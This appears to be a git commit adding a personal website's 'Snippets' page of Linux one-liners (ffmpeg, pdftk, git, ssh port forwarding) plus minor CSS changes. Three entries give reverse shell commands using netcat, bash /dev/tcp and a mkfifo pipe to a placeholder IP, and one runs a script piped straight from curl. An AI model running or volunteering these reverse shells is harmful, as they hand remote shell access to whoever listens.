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add snippets page and fix some css
Prithu Goswami prithugoswami524@gmail.com
Mon, 25 May 2020 13:20:38 +0530
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A content/snippets/_index.md

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+--- +title: Snippets +description: "Some one-liners and code snippets that are useuful" +--- + +## Using awk, tr, to get the remote info of a git repo +This will output the (fetch) remote of a git repository and +put the contents into the clipboard + +``` +git remote -v | awk '{print $2}' | head -1 | tr -d '\n' | xsel -ib +``` + +{{< highlight bash >}} + +git remote -v | awk '{print $2}' | head -1 | tr -d '\n' | xsel -ib + +{{< /highlight >}} + + +## Using image magick to create single color canvas +This create a 100x100 image with the color #131313 + + + $ convert -size 100x100 canvas:#131313 canvas.png + + +## Finding out your RAM details + + $ sudo dmidecode --type 17 + + +## Recording Audio + + $ arecord -f cd > sample.wav + +It can also be piped to ffmpeg to encode it directly + + $ arecord -f cd | ffmpeg -i - out.mp3 + + +## Generate random md5sums +This script will generate random md5sums and write to stdout and also write to +the file `md5s` + + $ while ; do; dd status=none count=1 bs=8 if=/dev/urandom | md5sum | \ + cut -d " " -f 1 | tee -a md5s; done + + +## Get a random number from 0-10 + + $ expr $RANDOM % 10 + + +## Quickly convert a CRLF ascii-file (dos format) to unix ascii + $ cat old.txt | tr -d '\015' > new.txt + + +## Translation on cmd line + + $ gawk -f <(curl -Ls git.io/translate) -- -shell + +See more: www.soimort.org/translate-shell/ + + +## Mount an MTP device + + # To list the devices + $ simple-mtpfs -l + + # To mount the device labeled '1' + $ simple-mtpfs --device 1 <mount path> + + +## Refresh pacman keys + + $ sudo pacman-key --refresh-keys + + +## Record your screen + + $ ffmpeg -video_size 1366x768 -f x11grab -i :0 rec`date +%s`.mp4 + +with audio: + + $ ffmpeg -video_size 1366x768 -f x11grab -i :0 -f alsa -i default out.mkv + + + +## A good example of unix piping +This one liner downloads all the podcast episodes from notrelated.xyz +This serves as more of an example to show the power and simplicity of piping. + + $ curl -s https://notrelated.xyz/ | grep mp3 | cut -d '"' -f4 | xargs wget + + +## More info about a file +using the `-i` optoin of `file` you can get some more info about the file like +the charset, mime type, etc + $ file -i file + + +## Mount a cloud storage as filesystem +Using rclone. Will have to run `rclone config` initially to set it up + + $ rclone remote:path /path/to/mountpoint -vv --vfs-cache-mode full mount + +`-vv` - Verbose +`--vfs-cache-mode` - cache mode set to 'full' (see manpage) + +## Display and control your android device + + $ scrcpy + +## Record your android screen + + $ adb shell screenrecord /sdcard/rec.mp4 && adb pull /sdcard/rec.mp4 + + +## Playing videos on a text console (tty) + +mpv has an option to specifiy a video output driver (`--vo=<driver>`) and one +of them is drm (Direct Rendering Manager). It Uses Kernel Mode Setting to +render video. It can be used if one doesn't want to use a full-blown +graphical environment. + + $ mpv --vo=drm --drm-connector=1.eDP-1 file.mp4 + +Here '1' in `drm-connector` is the the gpu number in case of multiple video +cards. Use `drm-connector=help` to list the available connectors. + + $ mpv --vo=gpu --gpu-context=drm --drm-connector=1.eDP-1 file.mp4 + +This version uses gpu acceleration. + + +## Concatenating multiple media files using ffmpeg + +A text file consisting of list of files to concatenate has to be created +``` filelist.txt +file '/path/to/file1' +file '/path/to/file2' +file '/path/to/file3' +``` + + $ ffmpeg -f concat -safe 0 -i filelist.txt -c copy outputfile.<ext> + +`safe 0` is not required if the paths are relative + + +## Splice a pdf + + $ pdftk in.pdf cat 1-8 11-end output out.pdf + +This will exclude the pages 9 and 10 from the 'in.pdf' and write it to out.pdf + + +## Show a list of man pages using dmenu and select one + + $ man -k . | dmenu | cut -d ' ' -f1 | xargs man + + +## SSH Remote port forwarding + + $ ssh -N -R 9000:localhost:5000 user@example.com + +This forwards any requests sent on port 9000 of example.com to the localhost +port of 5000. So basically you are exposing port 5000 on your localhost. +The `-N` flag just tells ssh to not log-in to the server + +The following should be enabled in `/etc/ssh/sshd_conf` of the ssh server +(at example.com): +```/etc/ssh/sshd_conf +AllowTcpForwarding yes +GatewayPorts yes +``` + +## Get information about a YT video + + $ ytdl -i https://youtu.be/KaEj_qZgiKY + +ytdl comes with 'python-pafy' package on arch + + +## Change pdf page size + + $ pdfjam --outfile out.pdf --paper a4paper in.pdf + + +## Reverse Shell using netcat + + $ nc -e /bin/sh 10.10.10.10 1234 + + +## Reverse Shell using Bash + + $ bash -i >& /dev/tcp/10.10.10.10/1234 0>&1 + +you then listen for a connection on remote with `nc -l 1234` + + +## Reverse Shell using /bin/sh + + $ rm -f /tmp/f; mkfifo /tmp/f + $ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > tmp/f + +On remote simply connect using nc on port 1234. + +This is actually documented in the man page of netcat that doesn't have the +`-e`/`-c` option. + + +## List the authors of a git repo in descending order of number of commits + + $ git log --format='%an'| sort | uniq -c | sort -nr + + +## A Python one-liner to convert a csv to json + + $ python -c 'import csv,json,sys; print(json.dumps(list(csv.DictReader(sys.stdin))))' + +Pipe into this a csv to get a json + +Example: + + $ curl -s imdb.com/list/ls020046354/export | python -c 'import csv,json,sys; print(json.dumps(list(csv.DictReader(sys.stdin))))'
A layouts/snippets/list.html

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+{{ partial "head.html" . }} +<body> + {{ partial "nav.html" }} +</body> + <div class='container'> + <div class='post-text'> + {{ .Content }} + </div> + </div> +</html> +
M static/css/main.cssstatic/css/main.css

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.sb{ padding: 15px; display: flex; - transition: transform 150ms ease; + transition: all 150ms ease; box-shadow: 0px 7px 10px rgba(0,0,0,0.20); border-radius: 6px; }

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padding: 1rem 2rem; border-radius: 6px; box-shadow: 0px 7px 7px rgba(0,0,0,0.15); - transition: transform 150ms ease; + transition: all 150ms ease; } .btn:hover {

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.btn:active{ transform: translateY(1px); box-shadow: 0 4px 7px rgba(50, 50, 93, 0.2), 0 3px 6px rgba(0, 0, 0, 0.08); +} + +.btn:focus{ + outline: none; } #project-cta{